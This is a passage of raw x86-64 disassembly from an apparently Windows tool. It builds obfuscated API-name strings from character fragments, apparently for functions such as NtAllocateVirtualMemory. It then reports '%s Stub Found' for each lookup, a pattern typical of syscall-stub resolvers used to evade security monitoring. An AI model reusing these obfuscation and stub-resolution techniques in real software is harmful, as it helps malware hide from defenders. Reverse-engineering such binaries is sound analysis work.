lea rax, [rbp + 0x2de0]
lea rdx, [rbp + 0x2e00]
lea r8, [0x14010857b]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2dc0]
lea rdx, [rbp + 0x2de0]
lea r8, [0x140108579]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2da0]
lea rdx, [rbp + 0x2dc0]
lea r8, [0x1401085b3]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2d80]
lea rdx, [rbp + 0x2da0]
lea r8, [0x1401085b5]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2d60]
lea rdx, [rbp + 0x2d80]
lea r8, [0x1401085b7]
mov rcx, rax
call fcn.1400b7810
lea rdx, [rbp + 0x2d60]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400a7f20
lea rax, [rbp + 0x2d60]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2d80]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2da0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2dc0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2de0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2e00]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2e20]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2e40]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2e60]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2e80]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2ea0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2ec0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2ee0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2f00]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2f20]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2f40]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2f6f]
mov rcx, rax
call fcn.14006fae0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x2f70]
mov rcx, rax
call fcn.1400a7420
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x2f70]
mov rcx, qword [rbp + 0x5350]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400015ca
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x2f70]
mov rcx, rax
call fcn.1400a7ee0
cmp dword [rbp + 0x529c], 0
je 0x14000594e
lea rbx, [0x14010858b]
jmp 0x140005955
lea rbx, [0x140108590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140032770
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.140001540
lea rax, [rbp + 0x315f]
mov rcx, rax
call fcn.14006fab0
lea rdx, [rbp + 0x315f]
lea rax, [rbp + 0x3130]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a7890
lea rax, [rbp + 0x3110]
lea rdx, [rbp + 0x3130]
lea r8, [0x14010856f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x30f0]
lea rdx, [rbp + 0x3110]
lea r8, [0x1401085b9]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x30d0]
lea rdx, [rbp + 0x30f0]
lea r8, [0x14010857b]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x30b0]
lea rdx, [rbp + 0x30d0]
lea r8, [0x1401085bb]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3090]
lea rdx, [rbp + 0x30b0]
lea r8, [0x140108583]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3070]
lea rdx, [rbp + 0x3090]
lea r8, [0x140108587]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3050]
lea rdx, [rbp + 0x3070]
lea r8, [0x14010857b]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3030]
lea rdx, [rbp + 0x3050]
lea r8, [0x1401085af]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3010]
lea rdx, [rbp + 0x3030]
lea r8, [0x1401085b1]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2ff0]
lea rdx, [rbp + 0x3010]
lea r8, [0x140108581]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2fd0]
lea rdx, [rbp + 0x2ff0]
lea r8, [0x14010857b]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2fb0]
lea rdx, [rbp + 0x2fd0]
lea r8, [0x140108579]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2f90]
lea rdx, [rbp + 0x2fb0]
lea r8, [0x1401085b3]
mov rcx, rax
call fcn.1400b7810
lea rdx, [rbp + 0x2f90]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400a7f20
lea rax, [rbp + 0x2f90]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2fb0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2fd0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2ff0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3010]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3030]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3050]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3070]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3090]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x30b0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x30d0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x30f0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3110]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3130]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x315f]
mov rcx, rax
call fcn.14006fae0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x3160]
mov rcx, rax
call fcn.1400a7420
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x3160]
mov rcx, qword [rbp + 0x5348]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400015ca
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x3160]
mov rcx, rax
call fcn.1400a7ee0
cmp dword [rbp + 0x529c], 0
je 0x140005c8e
lea rbx, [0x14010858b]
jmp 0x140005c95
lea rbx, [0x140108590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140032770
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.140001540
lea rax, [rbp + 0x342f]
mov rcx, rax
call fcn.14006fab0
lea rdx, [rbp + 0x342f]
lea rax, [rbp + 0x3400]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a7890
lea rax, [rbp + 0x33e0]
lea rdx, [rbp + 0x3400]
lea r8, [0x14010856f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x33c0]
lea rdx, [rbp + 0x33e0]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x33a0]
lea rdx, [rbp + 0x33c0]
lea r8, [0x140108579]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3380]
lea rdx, [rbp + 0x33a0]
lea r8, [0x14010857f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3360]
lea rdx, [rbp + 0x3380]
lea r8, [0x14010856f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3340]
lea rdx, [rbp + 0x3360]
lea r8, [0x1401085bd]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3320]
lea rdx, [rbp + 0x3340]
lea r8, [0x140108575]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3300]
lea rdx, [rbp + 0x3320]
lea r8, [0x140108581]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x32e0]
lea rdx, [rbp + 0x3300]
lea r8, [0x1401085bf]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x32c0]
lea rdx, [rbp + 0x32e0]
lea r8, [0x14010857f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x32a0]
lea rdx, [rbp + 0x32c0]
lea r8, [0x1401085c1]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3280]
lea rdx, [rbp + 0x32a0]
lea r8, [0x1401085c3]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3260]
lea rdx, [rbp + 0x3280]
lea r8, [0x140108573]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3240]
lea rdx, [rbp + 0x3260]
lea r8, [0x14010857b]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3220]
lea rdx, [rbp + 0x3240]
lea r8, [0x1401085c5]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3200]
lea rdx, [rbp + 0x3220]
lea r8, [0x1401085c7]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x31e0]
lea rdx, [rbp + 0x3200]
lea r8, [0x1401085c9]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x31c0]
lea rdx, [rbp + 0x31e0]
lea r8, [0x14010857b]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x31a0]
lea rdx, [rbp + 0x31c0]
lea r8, [0x140108577]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3180]
lea rdx, [rbp + 0x31a0]
lea r8, [0x14010856f]
mov rcx, rax
call fcn.1400b7810
lea rdx, [rbp + 0x3180]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400a7f20
lea rax, [rbp + 0x3180]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x31a0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x31c0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x31e0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3200]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3220]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3240]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3260]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3280]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x32a0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x32c0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x32e0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3300]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3320]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3340]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3360]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3380]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x33a0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x33c0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x33e0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3400]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x342f]
mov rcx, rax
call fcn.14006fae0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x3430]
mov rcx, rax
call fcn.1400a7420
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x3430]
mov rcx, qword [rbp + 0x5340]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400015ca
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x3430]
mov rcx, rax
call fcn.1400a7ee0
cmp dword [rbp + 0x529c], 0
je 0x140006102
lea rbx, [0x14010858b]
jmp 0x140006109
lea rbx, [0x140108590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140032770
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.140001540
lea rax, [rbp + 0x377f]
mov rcx, rax
call fcn.14006fab0
lea rdx, [rbp + 0x377f]
lea rax, [rbp + 0x3750]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a7890
lea rax, [rbp + 0x3730]
lea rdx, [rbp + 0x3750]
lea r8, [0x14010856f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3710]
lea rdx, [rbp + 0x3730]
lea r8, [0x1401085cb]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x36f0]
lea rdx, [rbp + 0x3710]
lea r8, [0x140108583]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x36d0]
lea rdx, [rbp + 0x36f0]
lea r8, [0x14010857b]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x36b0]
lea rdx, [rbp + 0x36d0]
lea r8, [0x140108581]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3690]
lea rdx, [rbp + 0x36b0]
lea r8, [0x140108589]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3670]
lea rdx, [rbp + 0x3690]
lea r8, [0x1401085cd]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3650]
lea rdx, [rbp + 0x3670]
lea r8, [0x1401085c1]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3630]
lea rdx, [rbp + 0x3650]
lea r8, [0x1401085cf]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3610]
lea rdx, [rbp + 0x3630]
lea r8, [0x140108575]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x35f0]
lea rdx, [rbp + 0x3610]
lea r8, [0x140108581]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x35d0]
lea rdx, [rbp + 0x35f0]
lea r8, [0x140108587]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x35b0]
lea rdx, [rbp + 0x35d0]
lea r8, [0x140108579]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3590]
lea rdx, [rbp + 0x35b0]
lea r8, [0x14010856f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3570]
lea rdx, [rbp + 0x3590]
lea r8, [0x14010857f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3550]
lea rdx, [rbp + 0x3570]
lea r8, [0x140108575]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3530]
lea rdx, [rbp + 0x3550]
lea r8, [0x1401085c1]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3510]
lea rdx, [rbp + 0x3530]
lea r8, [0x1401085ab]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x34f0]
lea rdx, [rbp + 0x3510]
lea r8, [0x140108581]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x34d0]
lea rdx, [rbp + 0x34f0]
lea r8, [0x140108575]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x34b0]
lea rdx, [rbp + 0x34d0]
lea r8, [0x140108577]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3490]
lea rdx, [rbp + 0x34b0]
lea r8, [0x14010857b]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3470]
lea rdx, [rbp + 0x3490]
lea r8, [0x1401085bb]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3450]
lea rdx, [rbp + 0x3470]
lea r8, [0x1401085bb]
mov rcx, rax
call fcn.1400b7810
lea rdx, [rbp + 0x3450]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400a7f20
lea rax, [rbp + 0x3450]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3470]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3490]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x34b0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x34d0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x34f0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3510]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3530]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3550]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3570]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3590]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x35b0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x35d0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x35f0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3610]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3630]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3650]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3670]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3690]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x36b0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x36d0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x36f0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3710]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3730]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3750]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x377f]
mov rcx, rax
call fcn.14006fae0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x3780]
mov rcx, rax
call fcn.1400a7420
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x3780]
mov rcx, qword [rbp + 0x5338]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400015ca
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x3780]
mov rcx, rax
call fcn.1400a7ee0
cmp dword [rbp + 0x529c], 0
je 0x140006626
lea rbx, [0x14010858b]
jmp 0x14000662d
lea rbx, [0x140108590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140032770
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.140001540
lea rax, [rbp + 0x3a0f]
mov rcx, rax
call fcn.14006fab0
lea rdx, [rbp + 0x3a0f]
lea rax, [rbp + 0x39e0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a7890
lea rax, [rbp + 0x39c0]
lea rdx, [rbp + 0x39e0]
lea r8, [0x14010856f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x39a0]
lea rdx, [rbp + 0x39c0]
lea r8, [0x1401085b9]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3980]
lea rdx, [rbp + 0x39a0]
lea r8, [0x14010857b]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3960]
lea rdx, [rbp + 0x3980]
lea r8, [0x140108579]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3940]
lea rdx, [rbp + 0x3960]
lea r8, [0x1401085b3]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3920]
lea rdx, [rbp + 0x3940]
lea r8, [0x14010857d]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3900]
lea rdx, [rbp + 0x3920]
lea r8, [0x14010857f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x38e0]
lea rdx, [rbp + 0x3900]
lea r8, [0x140108581]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x38c0]
lea rdx, [rbp + 0x38e0]
lea r8, [0x14010856f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x38a0]
lea rdx, [rbp + 0x38c0]
lea r8, [0x140108583]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3880]
lea rdx, [rbp + 0x38a0]
lea r8, [0x140108579]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3860]
lea rdx, [rbp + 0x3880]
lea r8, [0x140108573]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3840]
lea rdx, [rbp + 0x3860]
lea r8, [0x140108585]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3820]
lea rdx, [rbp + 0x3840]
lea r8, [0x14010857b]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3800]
lea rdx, [rbp + 0x3820]
lea r8, [0x140108587]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x37e0]
lea rdx, [rbp + 0x3800]
lea r8, [0x140108575]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x37c0]
lea rdx, [rbp + 0x37e0]
lea r8, [0x140108581]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x37a0]
lea rdx, [rbp + 0x37c0]
lea r8, [0x140108589]
mov rcx, rax
call fcn.1400b7810
lea rdx, [rbp + 0x37a0]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400a7f20
lea rax, [rbp + 0x37a0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x37c0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x37e0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3800]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3820]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3840]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3860]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3880]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x38a0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x38c0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x38e0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3900]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3920]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3940]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3960]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3980]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x39a0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x39c0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x39e0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3a0f]
mov rcx, rax
call fcn.14006fae0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x3a10]
mov rcx, rax
call fcn.1400a7420
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x3a10]
mov rcx, qword [rbp + 0x5330]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400015ca
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x3a10]
mov rcx, rax
call fcn.1400a7ee0
cmp dword [rbp + 0x529c], 0
je 0x140006a42
lea rbx, [0x14010858b]
jmp 0x140006a49
lea rbx, [0x140108590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140032770
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.140001540
lea rax, [rbp + 0x3b1f]
mov rcx, rax
call fcn.14006fab0
lea rdx, [rbp + 0x3b1f]
lea rax, [rbp + 0x3af0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a7890
lea rax, [rbp + 0x3ad0]
lea rdx, [rbp + 0x3af0]
lea r8, [0x14010856f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3ab0]
lea rdx, [rbp + 0x3ad0]
lea r8, [0x1401085ad]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3a90]
lea rdx, [rbp + 0x3ab0]
lea r8, [0x140108573]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3a70]
lea rdx, [rbp + 0x3a90]
lea r8, [0x140108575]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3a50]
lea rdx, [rbp + 0x3a70]
lea r8, [0x1401085bb]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3a30]
lea rdx, [rbp + 0x3a50]
lea r8, [0x14010857b]
mov rcx, rax
call fcn.1400b7810
lea rdx, [rbp + 0x3a30]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400a7f20
lea rax, [rbp + 0x3a30]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3a50]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3a70]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3a90]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3ab0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3ad0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3af0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x3b1f]
mov rcx, rax
call fcn.14006fae0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x3b20]
mov rcx, rax
call fcn.1400a7420
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x3b20]
mov rcx, qword [rbp + 0x5328]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400015ca
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x3b20]
mov rcx, rax
call fcn.1400a7ee0
cmp dword [rbp + 0x529c], 0
je 0x140006c4e
lea rbx, [0x14010858b]
jmp 0x140006c55
lea rbx, [0x140108590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140032770
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.140001540
lea rax, [rbp + 0x3cef]
mov rcx, rax
call fcn.14006fab0
lea rdx, [rbp + 0x3cef]
lea rax, [rbp + 0x3cc0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a7890
lea rax, [rbp + 0x3ca0]
lea rdx, [rbp + 0x3cc0]
lea r8, [0x14010856f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3c80]
lea rdx, [rbp + 0x3ca0]
lea r8, [0x1401085c5]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3c60]
lea rdx, [rbp + 0x3c80]
lea r8, [0x1401085d1]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3c40]
lea rdx, [rbp + 0x3c60]
lea r8, [0x14010857b]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3c20]
lea rdx, [rbp + 0x3c40]
lea r8, [0x1401085c1]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3c00]
lea rdx, [rbp + 0x3c20]
lea r8, [0x1401085ab]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3be0]
lea rdx, [rbp + 0x3c00]
lea r8, [0x140108581]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3bc0]
lea rdx, [rbp + 0x3be0]
lea r8, [0x140108575]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3ba0]
lea rdx, [rbp + 0x3bc0]
lea r8, [0x140108577]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3b80]
lea rdx, [rbp + 0x3ba0]
lea r8, [0x14010857b]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3b60]
lea rdx, [rbp + 0x3b80]
lea r8, [0x1401085bb]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x3b40]
lea rdx, [rbp + 0x3b60]
lea r8, [0x1401085bb]
mov rcx, rax
call fcn.1400b7810
lea rdx, [rbp + 0x3b40]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400a7f20
lea rax, [rbp + 0x3b40]
mov rcx, rax
